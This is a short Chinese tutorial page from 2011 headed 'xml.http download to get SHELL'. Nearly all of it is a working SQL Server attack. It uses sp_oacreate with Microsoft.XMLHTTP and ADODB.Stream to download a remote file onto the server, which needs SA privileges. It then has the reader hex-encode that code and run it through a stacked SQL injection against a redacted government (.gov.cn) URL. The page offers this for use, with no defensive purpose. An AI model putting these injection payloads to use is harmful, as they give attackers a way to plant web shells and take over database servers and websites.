首页 电脑 电脑学堂 查看内容

xml.http 下载拿SHELL

2011-8-26 10:16 763 0

摘要: 注意以下语句在SA权限下执行,对于N多扩展存储过程被删除时使用效果最佳。DECLARE @B varbinary(8000),@hr int,@http INT,@down INTEXEC sp_oa...
关键词: EXEC oamethod down http null hr sp 十六进制 output OASetProperty

注意以下语句在SA权限下执行,对于N多扩展存储过程被删除时使用效果最佳。DECLARE @B varbinary(8000),@hr int,@http INT,@down INTEXEC sp_oacreate [Microsoft.XMLHTTP],@http output ;EXEC @hr = sp_oamethod @http,[Open],null,[GET],[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,[Send],null ;EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output ;EXEC @hr=sp_oacreate [ADODB.Stream],@down output ;EXEC @hr=sp_OASetProperty @down,[Type],1 ;EXEC @hr=sp_OASetProperty @down,[mode],3 ;EXEC @hr=sp_oamethod @down,[Open],null ;EXEC @hr=sp_oamethod @down,[Write],null,@B ;EXEC @hr=sp_oamethod @down,[SaveToFile],null,[保存在服务器上的绝对路径],1 ;--将以上代码修改后转化为十六进制。然后提交:http://www.XXXX.gov.cn/XXX/hdsq/XXXXfo.jsp?ID=8 ;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部